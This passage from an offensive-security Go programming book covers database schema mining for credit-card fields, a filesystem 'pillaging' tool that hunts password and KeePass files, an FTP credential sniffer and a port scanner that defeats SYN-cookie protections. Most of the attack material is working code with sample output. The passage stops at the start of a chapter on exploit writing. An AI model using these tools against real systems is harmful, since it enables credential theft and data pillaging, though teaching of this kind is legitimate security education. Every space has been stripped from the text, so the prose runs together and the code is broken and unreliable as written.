Yourmain()functionexpectstheIPaddressofyour MongoDBinstanceasitsloneargument,callsyourNew() functiontobootstrapeverything,andthencallsdbminer.Search(), passingtoityourMongoMinerinstance❿.Recallthat dbminer.Search()callsGetSchema()onthereceivedDatabaseMiner instance;thiscallsyourMongoMinerimplementationofthe function,whichresultsinthecreationofdbminer.Schemathatis thensearchedagainsttheregexlistinListing7-8. Whenyourunyourutility,youareblessedwiththe followingoutput: $gorunmain.go127.0.0.1 [DB]=store [TABLE]=transactions [COL]=_id [COL]=ccnum [COL]=date [COL]=amount [COL]=cvv [COL]=exp [+]HIT:ccnum Youfoundamatch!Itmaynotlookpretty,butitgetsthe jobdone—successfullylocatingthedatabasecollectionthat hasafieldnamedccnum. WithyourMongoDBimplementationbuilt,inthenext section,you’lldothesameforaMySQLbackenddatabase. ImplementingaMySQLDatabaseMiner TomakeyourMySQLimplementationwork,you’llinspect theinformation_schema.columnstable.Thistablemaintainsmetadata aboutallthedatabasesandtheirstructures,includingtableand columnnames.Tomakethedatathesimplesttoconsume,use thefollowingSQLquery,whichremovesinformationabout someofthebuilt-inMySQLdatabasesthatareofno consequencetoyourpillagingefforts: SELECTTABLE_SCHEMA,TABLE_NAME,COLUMN_NAMEFROM columns WHERETABLE_SCHEMANOTIN('mysql','information_schema', 'performance_schema','sys') ORDERBYTABLE_SCHEMA,TABLE_NAME Thequeryproducesresultsresemblingthefollowing: +--------------+--------------+-------------+ |TABLE_SCHEMA|TABLE_NAME|COLUMN_NAME| +--------------+--------------+-------------+ |store|transactions|ccnum| |store|transactions|date| |store|transactions|amount| |store|transactions|cvv| |store|transactions|exp| --snip-- Althoughusingthatquerytoretrieveschemainformationis prettystraightforward,thecomplexityinyourcodecomes fromlogicallytryingtodifferentiateandcategorizeeachrow whiledefiningyourGetSchema()function.Forexample, consecutiverowsofoutputmayormaynotbelongtothesame databaseortable,soassociatingtherowstothecorrect dbminer.Databaseanddbminer.Tableinstancesbecomesasomewhat trickyendeavor. Listing7-10definestheimplementation. typeMySQLMinerstruct{ Hoststring Dbsql.DB } funcNew(hoststring)(*MySQLMiner,error){ m:=MySQLMiner{Host:host} err:=m.connect() iferr!=nil{ returnnil,err } return&m,nil } func(m*MySQLMiner)connect()error{ db,err:=sql.Open( "mysql", ❶fmt.Sprintf("root:password@tcp(%s:3306)/information_schema",m.Host)) iferr!=nil{ log.Panicln(err) } m.Db=*db returnnil } func(m*MySQLMiner)GetSchema()(*dbminer.Schema,error){ vars=new(dbminer.Schema) ❷sql:=`SELECTTABLE_SCHEMA,TABLE_NAME,COLUMN_NAME FROMcolumns WHERETABLE_SCHEMANOTIN ('mysql','information_schema','performance_schema','sys') ORDERBYTABLE_SCHEMA,TABLE_NAME` schemarows,err:=m.Db.Query(sql) iferr!=nil{ returnnil,err } deferschemarows.Close() varprevschema,prevtablestring vardbdbminer.Database vartabledbminer.Table ❸forschemarows.Next(){ varcurrschema,currtable,currcolstring iferr:=schemarows.Scan(&currschema,&currtable,&currcol);err!=nil{ returnnil,err } ❹ifcurrschema!=prevschema{ ifprevschema!=""{ db.Tables=append(db.Tables,table) s.Databases=append(s.Databases,db) } db=dbminer.Database{Name:currschema,Tables:[]dbminer.Table{}} prevschema=currschema prevtable="" } ❺ifcurrtable!=prevtable{ ifprevtable!=""{ db.Tables=append(db.Tables,table) } table=dbminer.Table{Name:currtable,Columns:[]string{}} prevtable=currtable } ❻table.Columns=append(table.Columns,currcol) } db.Tables=append(db.Tables,table) s.Databases=append(s.Databases,db) iferr:=schemarows.Err();err!=nil{ returnnil,err } returns,nil } funcmain(){ mm,err:=New(os.Args[1]) iferr!=nil{ panic(err) } defermm.Db.Close() iferr:=dbminer.Search(mm);err!=nil{ panic(err) } } Listing7-10:CreatingaMySQLdatabaseminer(/ch-7/db/mysql/main.go/) Aquickglanceatthecodeandyou’llprobablyrealizethat muchofitisvery,verysimilartotheMongoDBexamplein theprecedingsection.Asamatteroffact,themain()functionis identical. Thebootstrappingfunctionsarealsosimilar—youjust changethelogictointeractwithMySQLratherthan MongoDB.Noticethatthislogicconnectstoyour information_schemadatabase❶,sothatyoucaninspectthe databaseschema. Muchofthecode’scomplexityresideswithinthe GetSchema()implementation.Althoughyouareabletoretrieve theschemainformationbyusingasingledatabasequery❷, youthenhavetoloopovertheresults❸,inspectingeachrow soyoucandeterminewhatdatabasesexist,whattablesexistin eachdatabase,andwhatcolumnsexistforeachtable.Unlike inyourMongoDBimplementation,youdon’thavetheluxury ofJSON/BSONwithattributetagstomarshalandunmarshal dataintocomplexstructures;youmaintainvariablestotrack theinformationinyourcurrentrowandcompareitwiththe datafromthepreviousrow,inordertodeterminewhether you’veencounteredanewdatabaseortable.Notthemost elegantsolution,butitgetsthejobdone. Next,youcheckwhetherthedatabasenameforyour currentrowdiffersfromyourpreviousrow❹.Ifso,you createanewminer.Databaseinstance.Ifitisn’tyourfirstiteration oftheloop,addthetableanddatabasetoyourminer.Schema instance.Youusesimilarlogictotrackandaddminer.Table instancestoyourcurrentminer.Database❺.Lastly,addeachof thecolumnstoourminer.Table❻. Now,runtheprogramagainstyourDockerMySQL instancetoconfirmthatitworksproperly,asshownhere: $gorunmain.go127.0.0.1 [DB]=store [TABLE]=transactions [COL]=ccnum [COL]=date [COL]=amount [COL]=cvv [COL]=exp [+]HIT:ccnum Theoutputshouldbealmostindiscerniblefromyour MongoDBoutput.Thisisbecauseyourdbminer.Schemaisn’t producinganyoutput—thedbminer.Search()functionis.Thisis thepowerofusinginterfaces.Youcanhavespecific implementationsofkeyfeatures,yetstillutilizeasingle, standardfunctiontoprocessyourdatainapredictable,usable manner. Inthenextsection,you’llstepawayfromdatabasesand insteadfocusonpillagingfilesystems. PILLAGINGAFILESYSTEM Inthissection,you’llbuildautilitythatwalksauser-supplied filesystempathrecursively,matchingagainstalistof interestingfilenamesthatyouwoulddeemusefulaspartofa post-exploitationexercise.Thesefilesmaycontain,among otherthings,personallyidentifiableinformation,usernames, passwords,systemlogins,andpassworddatabasefiles. Theutilitylooksspecificallyatfilenamesratherthanfile contents,andthescriptismademuchsimplerbythefactthat Gocontainsstandardfunctionalityinitspath/filepathpackage thatyoucanusetoeasilywalkadirectorystructure.Youcan seetheutilityinListing7-11. packagemain import( "fmt" "log" "os" "path/filepath" "regexp" ) ❶varregexes=[]*regexp.Regexp{ regexp.MustCompile(`(?i)user`), regexp.MustCompile(`(?i)password`), regexp.MustCompile(`(?i)kdb`), regexp.MustCompile(`(?i)login`), } ❷funcwalkFn(pathstring,fos.FileInfo,errerror)error{ for_,r:=rangeregexes{ ❸ifr.MatchString(path){ fmt.Printf("[+]HIT:%s\n",path) } } returnnil } funcmain(){ root:=os.Args[1] ❹iferr:=filepath.Walk(root,walkFn);err!=nil{ log.Panicln(err) } } Listing7-11:Walkingandsearchingafilesystem(/ch-7/filesystem/main.go) Incontrasttoyourdatabase-miningimplementations,the filesystempillagingsetupandlogicmightseemalittletoo simple.Similartothewayyoucreatedyourdatabase implementations,youdefinearegexlistforidentifying interestingfilenames❶.Tokeepthecodeminimal,we limitedthelisttojustahandfulofitems,butyoucanexpand thelisttoaccommodatemorepracticalusage. Next,youdefineafunction,namedwalkFn(),thatacceptsa filepathandsomeadditionalparameters❷.Thefunction loopsoveryourregularexpressionlistandchecksformatches ❸,displayingthemtostdout.ThewalkFn()function❹isused inthemain()function,andpassedasaparametertofilepath.Walk(). TheWalk()functionexpectstwoparameters—arootpathanda function(inthiscase,walkFn())—andrecursivelywalksthe directorystructurestartingatthevaluesuppliedastheroot path,callingwalkFn()foreverydirectoryandfileitencounters. Withyourutilitycomplete,navigatetoyourdesktopand createthefollowingdirectorystructure: $treetargetpath/ targetpath/ ---anotherpath ----nothing.txt ----users.csv ---file1.txt ---yetanotherpath ---nada.txt ---passwords.xlsx 2directories,5files Runningyourutilityagainstthissametargetpathdirectory producesthefollowingoutput,confirmingthatyourcode workssplendidly: $gorunmain.go./somepath [+]HIT:somepath/anotherpath/users.csv [+]HIT:somepath/yetanotherpath/passwords.xlsx That’sjustaboutallthereistoit.Youcanimprovethe samplecodethroughtheinclusionofadditionalormore- specificregularexpressions.Further,weencourageyouto improvethecodebyapplyingtheregularexpressioncheck onlytofilenames,notdirectories.Anotherenhancementwe encourageyoutomakeistolocateandflagspecificfileswith arecentmodifiedoraccesstime.Thismetadatacanleadyou tomoreimportantcontent,includingfilesusedaspartof criticalbusinessprocesses. SUMMARY Inthischapter,wedoveintodatabaseinteractionsand filesystemwalking,usingbothGo’snativepackagesandthird- partylibrariestoinspectdatabasemetadataandfilenames.For anattacker,theseresourcesoftencontainvaluable information,andwecreatedvariousutilitiesthatallowusto searchforthisjuicyinformation. Inthenextchapter,you’lltakealookatpracticalpacket processing.Specifically,you’lllearnhowtosniffand manipulatenetworkpackets. 8 RAWPACKETPROCESSING Inthischapter,you’lllearnhowtocaptureandprocess networkpackets.Youcanusepacketprocessingformany purposes,includingtocapturecleartextauthentication credentials,altertheapplicationfunctionalityofthepackets, orspoofandpoisontraffic.YoucanalsouseitforSYN scanningandforportscanningthroughSYN-flood protections,amongotherthings. We’llintroduceyoutotheexcellentgopacketpackagefrom Google,whichwillenableyoutobothdecodepacketsand reassemblethestreamoftraffic.Thispackageallowsyouto filtertrafficbyusingtheBerkeleyPacketFilter(BPF),also calledtcpdumpsyntax;readandwrite.pcapfiles;inspect variouslayersanddata;andmanipulatepackets. We’llwalkthroughseveralexamplestoshowyouhowto identifydevices,filterresults,andcreateaportscannerthat canbypassSYN-floodprotections. SETTINGUPYOURENVIRONMENT Beforeworkingthroughthecodeinthischapter,youneedto setupyourenvironment.First,installgopacketbyenteringthe following: $gogetgithub.com/google/gopacket Now,gopacketreliesonexternallibrariesanddriversto bypasstheoperatingsystem’sprotocolstack.Ifyouintendto compiletheexamplesinthischapterforuseonLinuxor macOS,you’llneedtoinstalllibpcap-dev.Youcandothiswith mostpackagemanagementutilitiessuchasapt,yum,orbrew. Here’showyouinstallitbyusingapt(theinstallationprocess lookssimilarfortheothertwooptions): $sudoapt-getinstalllibpcap-dev Ifyouintendtocompileandruntheexamplesinthis chapteronWindows,youhaveacoupleofoptions,basedon whetheryou’regoingtocross-compileornot.Settingupa developmentenvironmentissimplerifyoudon’tcross- compile,butinthatcase,you’llhavetocreateaGo developmentenvironmentonaWindowsmachine,whichcan beunattractiveifyoudon’twanttoclutteranother environment.Forthetimebeing,we’llassumeyouhavea workingenvironmentthatyoucanusetocompileWindows binaries.Withinthisenvironment,you’llneedtoinstall WinPcap.Youcandownloadaninstallerforfreefrom https://www.winpcap.org/. IDENTIFYINGDEVICESBYUSING THEPCAPSUBPACKAGE Beforeyoucancapturenetworktraffic,youmustidentify availabledevicesonwhichyoucanlisten.Youcandothis easilyusingthegopacket/pcapsubpackage,whichretrievesthem withthefollowinghelperfunction:pcap.FindAllDevs()(ifs[]Interface, errerror).Listing8-1showshowyoucanuseittolistall availableinterfaces.(Allthecodelistingsattherootlocation of/existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.) packagemain import( "fmt" "log" "github.com/google/gopacket/pcap" ) funcmain(){ ❶devices,err:=pcap.FindAllDevs() iferr!=nil{ log.Panicln(err) } ❷for_,device:=rangedevices{ fmt.Println(device.Name❸) ❹for_,address:=rangedevice.Addresses{ ❺fmt.Printf("IP:%s\n",address.IP) fmt.Printf("Netmask:%s\n",address.Netmask) } } } Listing8-1:Listingtheavailablenetworkdevices(/ch-8/identify/main.go) Youenumerateyourdevicesbycallingpcap.FindAllDevs()❶. Thenyouloopthroughthedevicesfound❷.Foreachdevice, youaccessvariousproperties,includingthedevice.Name❸.You alsoaccesstheirIPaddressesthroughtheAddressesproperty, whichisasliceoftypepcap.InterfaceAddress.Youloopthrough theseaddresses❹,displayingtheIPaddressandnetmaskto thescreen❺. ExecutingyourutilityproducesoutputsimilartoListing8- 2. $gorunmain.go enp0s5 IP:10.0.1.20 Netmask:ffffff00 IP:fe80::553a:14e7:92d2:114b Netmask:ffffffffffffffff0000000000000000 any lo IP:127.0.0.1 Netmask:ff000000 IP:::1 Netmask:ffffffffffffffffffffffffffffffff Listing8-2:Outputshowingtheavailablenetworkinterfaces Theoutputliststheavailablenetworkinterfaces—enp0s5, any,andlo—aswellastheirIPv4andIPv6addressesand netmasks.Theoutputonyoursystemwilllikelydifferfrom thesenetworkdetails,butitshouldbesimilarenoughthatyou canmakesenseoftheinformation. LIVECAPTURINGANDFILTERING RESULTS Nowthatyouknowhowtoqueryavailabledevices,youcan usegopacket’sfeaturestocapturelivepacketsoffthewire.In doingso,you’llalsofilterthesetofpacketsbyusingBPF syntax.BPFallowsyoutolimitthecontentsofwhatyou captureanddisplaysothatyouseeonlyrelevanttraffic.It’s commonlyusedtofiltertrafficbyprotocolandport.For example,youcouldcreateafiltertoseeallTCPtraffic destinedforport80.Youcanalsofiltertrafficbydestination host.AfulldiscussionofBPFsyntaxisbeyondthescopeof thisbook.ForadditionalwaystouseBPF,takeapeekat http://www.tcpdump.org/manpages/pcap-filter.7.html. Listing8-3showsthecode,whichfilterstrafficsothatyou captureonlyTCPtrafficsenttoorfromport80. packagemain import( "fmt" "log" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) ❶var( iface="enp0s5" snaplen=int32(1600) promisc=false timeout=pcap.BlockForever filter="tcpandport80" devFound=false ) funcmain(){ devices,err:=pcap.FindAllDevs()❷ iferr!=nil{ log.Panicln(err) } ❸for_,device:=rangedevices{ ifdevice.Name==iface{ devFound=true } } if!devFound{ log.Panicf("Devicenamed'%s'doesnotexist\n",iface) } ❹handle,err:=pcap.OpenLive(iface,snaplen,promisc,timeout) iferr!=nil{ log.Panicln(err) } deferhandle.Close() ❺iferr:=handle.SetBPFFilter(filter);err!=nil{ log.Panicln(err) } ❻source:=gopacket.NewPacketSource(handle,handle.LinkType()) forpacket:=rangesource.Packets()❼{ fmt.Println(packet) } } Listing8-3:UsingaBPFfiltertocapturespecificnetworktraffic(/ch- 8/filter/main.go) Thecodestartsbydefiningseveralvariablesnecessaryto setupthepacketcapture❶.Includedamongtheseisthename oftheinterfaceonwhichyouwanttocapturedata,the snapshotlength(theamountofdatatocaptureforeachframe), thepromiscvariable(whichdetermineswhetheryou’llbe runningpromiscuousmode),andyourtime-out.Also,you defineyourBPFfilter:tcpandport80.Thiswillmakesureyou captureonlypacketsthatmatchthosecriteria. Withinyourmain()function,youenumeratetheavailable devices❷,loopingthroughthemtodeterminewhetheryour desiredcaptureinterfaceexistsinyourdevicelist❸.Ifthe interfacenamedoesn’texist,thenyoupanic,statingthatit’s invalid. Whatremainsintherestofthemain()functionisyour capturinglogic.Fromahigh-levelperspective,youneedto firstobtainorcreatea*pcap.Handle,whichallowsyoutoread andinjectpackets.Usingthishandle,youcanthenapplya BPFfilterandcreateanewpacketdatasource,fromwhich youcanreadyourpackets. Youcreateyour*pcap.Handle(namedhandleinthecode)by issuingacalltopcap.OpenLive()❹.Thisfunctionreceivesan interfacename,asnapshotlength,abooleanvaluedefining whetherit’spromiscuous,andatime-outvalue.Theseinput variablesarealldefinedpriortothemain()function,aswe detailedpreviously.Callhandle.SetBPFFilter(filter)tosettheBPF filterforyourhandle❺,andthenusehandleasaninputwhile callinggopacket.NewPacketSource(handle,handle.LinkType())tocreatea newpacketdatasource❻.Thesecondinputvalue, handle.LinkType(),definesthedecodertousewhenhandling packets.Lastly,youactuallyreadpacketsfromthewireby usingalooponsource.Packets()❼,whichreturnsachannel. Asyoumightrecallfrompreviousexamplesinthisbook, loopingonachannelcausesthelooptoblockwhenithasno datatoreadfromthechannel.Whenapacketarrives,youread itandprintitscontentstoscreen. TheoutputshouldlooklikeListing8-4.Notethatthe programrequireselevatedprivilegesbecausewe’rereading rawcontentoffthenetwork. $gobuild-ofilter&&sudo./filter PACKET:74bytes,wirelength74caplength74@2020-04-2608:44:43.074187 -0500CDT -Layer1(14bytes)=Ethernet{Contents=[..14..]Payload=[..60..] SrcMAC=00:1c:42:cf:57:11DstMAC=90:72:40:04:33:c1EthernetType=IPv4 Length=0} -Layer2(20bytes)=IPv4{Contents=[..20..]Payload=[..40..]Version=4 IHL=5 TOS=0Length=60Id=998Flags=DFFragOffset=0TTL=64Protocol=TCP Checksum=55712 SrcIP=10.0.1.20DstIP=54.164.27.126Options=[]Padding=[]} -Layer3(40bytes)=TCP{Contents=[..40..]Payload=[]SrcPort=51064 DstPort=80(http)Seq=3543761149Ack=0DataOffset=10FIN=falseSYN=true RST=false PSH=falseACK=falseURG=falseECE=falseCWR=falseNS=false Window=29200 Checksum=23908Urgent=0Options=[..5..]Padding=[]} PACKET:74bytes,wirelength74caplength74@2020-04-2608:44:43.086706 -0500CDT -Layer1(14bytes)=Ethernet{Contents=[..14..]Payload=[..60..] SrcMAC=00:1c:42:cf:57:11DstMAC=90:72:40:04:33:c1EthernetType=IPv4 Length=0} -Layer2(20bytes)=IPv4{Contents=[..20..]Payload=[..40..]Version=4 IHL=5 TOS=0Length=60Id=23414Flags=DFFragOffset=0TTL=64Protocol=TCP Checksum=16919 SrcIP=10.0.1.20DstIP=204.79.197.203Options=[]Padding=[]} -Layer3(40bytes)=TCP{Contents=[..40..]Payload=[]SrcPort=37314 DstPort=80(http)Seq=2821118056Ack=0DataOffset=10FIN=falseSYN=true RST=false PSH=falseACK=falseURG=falseECE=falseCWR=falseNS=false Window=29200 Checksum=40285Urgent=0Options=[..5..]Padding=[]} Listing8-4:Capturedpacketsloggedtostdout Althoughtherawoutputisn’tverydigestible,itcertainly containsaniceseparationofeachlayer.Youcannowuse utilityfunctions,suchaspacket.ApplicationLayer()andpacket.Data(),to retrievetherawbytesforasinglelayerortheentirepacket. Whenyoucombinetheoutputwithhex.Dump(),youcandisplay thecontentsinamuchmorereadableformat.Playaroundwith thisonyourown. SNIFFINGANDDISPLAYING CLEARTEXTUSERCREDENTIALS Nowlet’sbuildonthecodeyoujustcreated.You’llreplicate someofthefunctionalityprovidedbyothertoolstosniffand displaycleartextusercredentials. Mostorganizationsnowoperatebyusingswitched networks,whichsenddatadirectlybetweentwoendpoints ratherthanasabroadcast,makingithardertopassively capturetrafficinanenterpriseenvironment.However,the followingcleartextsniffingattackcanbeusefulwhenpaired withsomethinglikeAddressResolutionProtocol(ARP) poisoning,anattackthatcancoerceendpointsinto communicatingwithamaliciousdeviceonaswitched network,orwhenyou’recovertlysniffingoutboundtraffic fromacompromiseduserworkstation.Inthisexample,we’ll assumeyou’vecompromisedauserworkstationandfocus solelyoncapturingtrafficthatusesFTPtokeepthecodebrief. Withtheexceptionofafewsmallchanges,thecodein Listing8-5isnearlyidenticaltothecodeinListing8-3. packagemain import( "bytes" "fmt" "log" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) var( iface="enp0s5" snaplen=int32(1600) promisc=false timeout=pcap.BlockForever ❶filter="tcpanddstport21" devFound=false ) funcmain(){ devices,err:=pcap.FindAllDevs() iferr!=nil{ log.Panicln(err) } for_,device:=rangedevices{ ifdevice.Name==iface{ devFound=true } } if!devFound{ log.Panicf("Devicenamed'%s'doesnotexist\n",iface) } handle,err:=pcap.OpenLive(iface,snaplen,promisc,timeout) iferr!=nil{ log.Panicln(err) } deferhandle.Close() iferr:=handle.SetBPFFilter(filter);err!=nil{ log.Panicln(err) } source:=gopacket.NewPacketSource(handle,handle.LinkType()) forpacket:=rangesource.Packets(){ ❷appLayer:=packet.ApplicationLayer() ifappLayer==nil{ continue } ❸payload:=appLayer.Payload() ❹ifbytes.Contains(payload,[]byte("USER")){ fmt.Print(string(payload)) }elseifbytes.Contains(payload,[]byte("PASS")){ fmt.Print(string(payload)) } } } Listing8-5:CapturingFTPauthenticationcredentials(/ch-8/ftp/main.go) Thechangesyoumadeencompassonlyabout10linesof code.First,youchangeyourBPFfiltertocaptureonlytraffic destinedforport21(theportcommonlyusedforFTPtraffic) ❶.Therestofthecoderemainsthesameuntilyouprocessthe packets. Toprocesspackets,youfirstextracttheapplicationlayer fromthepacketandchecktoseewhetheritactuallyexists❷, becausetheapplicationlayercontainstheFTPcommandsand data.Youlookfortheapplicationlayerbyexaminingwhether theresponsevaluefrompacket.ApplicationLayer()isnil.Assuming theapplicationlayerexistsinthepacket,youextractthe payload(theFTPcommands/data)fromthelayerbycalling appLayer.Payload()❸.(Therearesimilarmethodsforextracting andinspectingotherlayersanddata,butyouonlyneedthe applicationlayerpayload.)Withyourpayloadextracted,you thencheckwhetherthepayloadcontainseithertheUSERor PASScommands❹,indicatingthatit’spartofalogin sequence.Ifitdoes,displaythepayloadtothescreen. Here’sasamplerunthatcapturesanFTPloginattempt: $gobuild-oftp&&sudo./ftp USERsomeuser PASSpassw0rd Ofcourse,youcanimprovethiscode.Inthisexample,the payloadwillbedisplayedifthewordsUSERorPASSexist anywhereinthepayload.Really,thecodeshouldbesearching onlythebeginningofthepayloadtoeliminatefalse-positives thatoccurwhenthosekeywordsappearaspartoffilecontents transferredbetweenclientandserveroraspartofalonger wordsuchasPASSAGEorABUSER.Weencourageyoutomake theseimprovementsasalearningexercise. PORTSCANNINGTHROUGHSYN- FLOODPROTECTIONS InChapter2,youwalkedthroughthecreationofaport scanner.Youimprovedthecodethroughmultipleiterations untilyouhadahigh-performingimplementationthatproduced accurateresults.However,insomeinstances,thatscannercan stillproduceincorrectresults.Specifically,whenan organizationemploysSYN-floodprotections,typicallyall ports—open,closed,andfilteredalike—producethesame packetexchangetoindicatethattheportisopen.These protections,knownasSYNcookies,preventSYN-flood attacksandobfuscatetheattacksurface,producingfalse- positives. WhenatargetisusingSYNcookies,howcanyou determinewhetheraserviceislisteningonaportoradeviceis falselyshowingthattheportisopen?Afterall,inbothcases, theTCPthree-wayhandshakeiscompleted.Mosttoolsand scanners(Nmapincluded)lookatthissequence(orsome variationofit,basedonthescantypeyou’vechosen)to determinethestatusoftheport.Therefore,youcan’trelyon thesetoolstoproduceaccurateresults. However,ifyouconsiderwhathappensafteryou’ve establishedaconnection—anexchangeofdata,perhapsinthe formofaservicebanner—youcandeducewhetheranactual serviceisresponding.SYN-floodprotectionsgenerallywon’t exchangepacketsbeyondtheinitialthree-wayhandshake unlessaserviceislistening,sothepresenceofanyadditional packetsmightindicatethataserviceexists. CheckingTCPFlags ToaccountforSYNcookies,youhavetoextendyourport- scanningcapabilitiestolookbeyondthethree-wayhandshake bycheckingtoseewhetheryoureceiveanyadditionalpackets fromthetargetafteryou’veestablishedaconnection.Youcan accomplishthisbysniffingthepacketstoseeifanyofthem weretransmittedwithaTCPflagvalueindicativeof additional,legitimateservicecommunications. TCPflagsindicateinformationaboutthestateofapacket transfer.IfyoulookattheTCPspecification,you’llfindthat theflagsarestoredinasinglebyteatposition14inthe packet’sheader.Eachbitofthisbyterepresentsasingleflag value.Theflagis“on”ifthebitatthatpositionissetto1,and “off”ifthebitissetto0.Table8-1showsthepositionsofthe flagsinthebyte,aspertheTCPspecification. Table8-1:TCPFlagsandTheirBytePositions Bit 7 6 5 4 3 2 1 0 Flag CWR ECE URG ACK PSH RST SYN FIN Onceyouknowthepositionsoftheflagsyoucareabout, youcancreateafilterthatchecksthem.Forexample,youcan lookforpacketscontainingthefollowingflags,whichmight indicatealisteningservice: ACKandFIN ACK ACKandPSH Becauseyouhavetheabilitytocaptureandfiltercertain packetsbyusingthegopacketlibrary,youcanbuildautilitythat attemptstoconnecttoaremoteservice,sniffsthepackets,and displaysonlytheservicesthatcommunicatepacketswiththese TCPheaders.Assumeallotherservicesarefalsely“open” becauseofSYNcookies. BuildingtheBPFFilter YourBPFfilterneedstocheckforthespecificflagvaluesthat indicatepackettransfer.Theflagbytehasthefollowingvalues iftheflagswementionedearlierareturnedon: ACKandFIN:00010001(0x11) ACK:00010000(0x10) ACKandPSH:00011000(0x18) Weincludedthehexequivalentofthebinaryvaluefor clarity,asyou’llusethehexvalueinyourfilter. Tosummarize,youneedtocheckthe14thbyte(offset13 fora0-basedindex)oftheTCPheader,filteringonlyfor packetswhoseflagsare0x11,0x10,or0x18.Here’swhatthe BPFfilterlookslike: tcp[13]==0x11ortcp[13]==0x10ortcp[13]==0x18 Excellent.Youhaveyourfilter. WritingthePortScanner Nowyou’llusethefiltertobuildautilitythatestablishesafull TCPconnectionandinspectspacketsbeyondthethree-way handshaketoseewhetherotherpacketsaretransmitted, indicatingthatanactualserviceislistening.Theprogramis showninListing8-6.Forthesakeofsimplicity,we’veopted tonotoptimizethecodeforefficiency.However,youcan greatlyimprovethiscodebymakingoptimizationssimilarto thosewemadeinChapter2. var(❶ snaplen=int32(320) promisc=true timeout=pcap.BlockForever filter="tcp[13]==0x11ortcp[13]==0x10ortcp[13]==0x18" devFound=false results=make(map[string]int) ) funccapture(iface,targetstring){❷ handle,err:=pcap.OpenLive(iface,snaplen,promisc,timeout) iferr!=nil{ log.Panicln(err) } deferhandle.Close() iferr:=handle.SetBPFFilter(filter);err!=nil{ log.Panicln(err) } source:=gopacket.NewPacketSource(handle,handle.LinkType()) fmt.Println("Capturingpackets") forpacket:=rangesource.Packets(){ networkLayer:=packet.NetworkLayer()❸ ifnetworkLayer==nil{ continue } transportLayer:=packet.TransportLayer() iftransportLayer==nil{ continue } srcHost:=networkLayer.NetworkFlow().Src().String()❹ srcPort:=transportLayer.TransportFlow().Src().String() ifsrcHost!=target{❺ continue } results[srcPort]+=1❻ } } funcmain(){ iflen(os.Args)!=4{ log.Fatalln("Usage:main.go<capture_iface><target_ip> <port1,port2,port3>") } devices,err:=pcap.FindAllDevs() iferr!=nil{ log.Panicln(err) } iface:=os.Args[1] for_,device:=rangedevices{ ifdevice.Name==iface{ devFound=true } } if!devFound{ log.Panicf("Devicenamed'%s'doesnotexist\n",iface) } ip:=os.Args[2] gocapture(iface,ip)❼ time.Sleep(1*time.Second) ports,err:=explode(os.Args[3]) iferr!=nil{ log.Panicln(err) } for_,port:=rangeports{❽ target:=fmt.Sprintf("%s:%s",ip,port) fmt.Println("Trying",target) c,err:=net.DialTimeout("tcp",target,1000*time.Millisecond)❾ iferr!=nil{ continue } c.Close() } time.Sleep(2*time.Second) forport,confidence:=rangeresults{❿ ifconfidence>=1{ fmt.Printf("Port%sopen(confidence:%d)\n",port,confidence) } } } /*Extraneouscodeomittedforbrevity*/ Listing8-6:ScanningandprocessingpacketswithSYN-floodprotections(/ch- 8/syn-flood/main.go) Broadlyspeaking,yourcodewillmaintainacountof packets,groupedbyport,torepresenthowconfidentyouare thattheportisindeedopen.You’lluseyourfiltertoselect onlypacketswiththeproperflagsset.Thegreaterthecountof matchingpackets,thehigheryourconfidencethattheservice islisteningontheport. Yourcodestartsbydefiningseveralvariablesforuse throughout❶.Thesevariablesincludeyourfilterandamap namedresultsthatyou’llusetotrackyourlevelofconfidence thattheportisopen.You’llusetargetportsaskeysand maintainacountofmatchingpacketsasthemapvalue. Nextyoudefineafunction,capture(),thatacceptsthe interfacenameandtargetIPforwhichyou’retesting❷.The functionitselfbootstrapsthepacketcapturemuchinthesame wayaspreviousexamples.However,youmustusedifferent codetoprocesseachpacket.Youleveragethegopacket functionalitytoextractthepacket’snetworkandtransport layers❸.Ifeitheroftheselayersisabsent,youignorethe packet;that’sbecausethenextstepistoinspectthesourceIP andportofthepacket❹,andifthere’snotransportor networklayer,youwon’thavethatinformation.Youthen confirmthatthepacketsourcematchestheIPaddressthat you’retargeting❺.IfthepacketsourceandIPaddressdon’t match,youskipfurtherprocessing.Ifthepacket’ssourceIP andportmatchyourtarget,youincrementyourconfidence levelfortheport❻.Repeatthisprocessforeachsubsequent packet.Eachtimeyougetamatch,yourconfidencelevel increases. Inyourmain()function,useagoroutinetocallyourcapture() function❼.Usingagoroutineensuresthatyourpacket captureandprocessinglogicrunsconcurrentlywithout blocking.Meanwhile,yourmain()functionproceedstoparse yourtargetports,loopingthroughthemonebyone❽and callingnet.DialTimeouttoattemptaTCPconnectionagainsteach ❾.Yourgoroutineisrunning,activelywatchingthese connectionattempts,lookingforpacketsthatindicateaservice islistening. Afteryou’veattemptedtoconnecttoeachport,processall ofyourresultsbydisplayingonlythoseportsthathavea confidencelevelof1ormore(meaningatleastonepacket matchesyourfilterforthatport)❿.Thecodeincludesseveral callstotime.Sleep()toensureyou’releavingadequatetimetoset upthesnifferandprocesspackets. Let’slookatasamplerunoftheprogram,showninListing 8-7. $gobuild-osyn-flood&&sudo./syn-floodenp0s510.1.100.100 80,443,8123,65530 Capturingpackets Trying10.1.100.100:80 Trying10.1.100.100:443 Trying10.1.100.100:8123 Trying10.1.100.100:65530 Port80open(confidence:1) Port443open(confidence:1) Listing8-7:Port-scanningresultswithconfidenceratings Thetestsuccessfullydeterminesthatbothport80and443 areopen.Italsoconfirmsthatnoserviceislisteningonports 8123and65530.(Notethatwe’vechangedtheIPaddressin theexampletoprotecttheinnocent.) Youcouldimprovethecodeinseveralways.Aslearning exercises,wechallengeyoutoaddthefollowing enhancements: 1. Removethenetworkandtransportlayerlogicandsourcechecksfromthe capture()function.Instead,addadditionalparameterstotheBPFfiltertoensure thatyoucaptureonlypacketsfromyourtargetIPandports. 2. Replacethesequentiallogicofportscanningwithaconcurrentalternative, similartowhatwedemonstratedinpreviouschapters.Thiswillimprove efficiency. 3. RatherthanlimitingthecodetoasingletargetIP,allowtheusertosupplyalist ofIPsornetworkblocks. SUMMARY We’vecompletedourdiscussionofpacketcaptures,focusing primarilyonpassivesniffingactivities.Inthenextchapter, we’llfocusonexploitdevelopment. 9 WRITINGANDPORTINGEXPLOIT CODE Inthemajorityofthepreviouschapters,youusedGotocreate network-basedattacks.You’veexploredrawTCP,HTTP, DNS,SMB,databaseinteraction,andpassivepacket capturing. Thischapterfocusesinsteadonidentifyingandexploiting vulnerabilities.First,you’lllearnhowtocreateavulnerability 